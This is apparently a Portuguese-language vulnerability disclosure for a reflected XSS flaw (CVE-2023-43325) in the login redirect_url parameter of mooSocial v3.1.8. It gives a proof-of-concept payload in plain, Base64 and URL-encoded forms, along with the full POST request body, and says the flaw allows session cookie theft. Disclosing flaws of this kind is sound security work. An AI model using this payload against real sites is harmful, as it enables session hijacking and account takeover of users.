mooSocial: XSS (CVE-2023-43325)

Existe uma vulnerabilidade de cross-site scripting (XSS) refletido no parâmetro data[redirect_url] na função de login do usuário do mooSocial v3.1.8, que permite que atacantes roubem os cookies de sessão do usuário e se passem pela conta dele por meio de uma URL manipulada.

Parâmetro vulnerável: data[redirect_url]

Exploit - Prova de Conceito (POC)

Cross-site scripting (XSS) refletido

Payload : test">test 
Payload (Base64 encoded) : dGVzdCI+PGltZyBzcmM9YSBvbmVycm9yPWFsZXJ0KDEpPnRlc3Q=
Final Payload (Base64+Url encoded): dGVzdCI%2bPGltZyBzcmM9YSBvbmVycm9yPWFsZXJ0KDEpPnRlc3Q%3d%3d

Requisição POST em /moosocial/users/login (SOMENTE DADOS DA REQUISIÇÃO POST):

[_method=POST&data%5Bredirect_url%5D=dGVzdCI%2bPGltZyBzcmM9YSBvbmVycm9yPWFsZXJ0KDEpPnRlc3Q%3d%3d&data%5BUser%5D%5Bid%5D=&data%5BUser%5D%5Bemail%5D=admin%40localhost.com&data%5BUser%5D%5Bpassword%5D=pas[redacted]&data%5Bremember%5D=0]

Captura de tela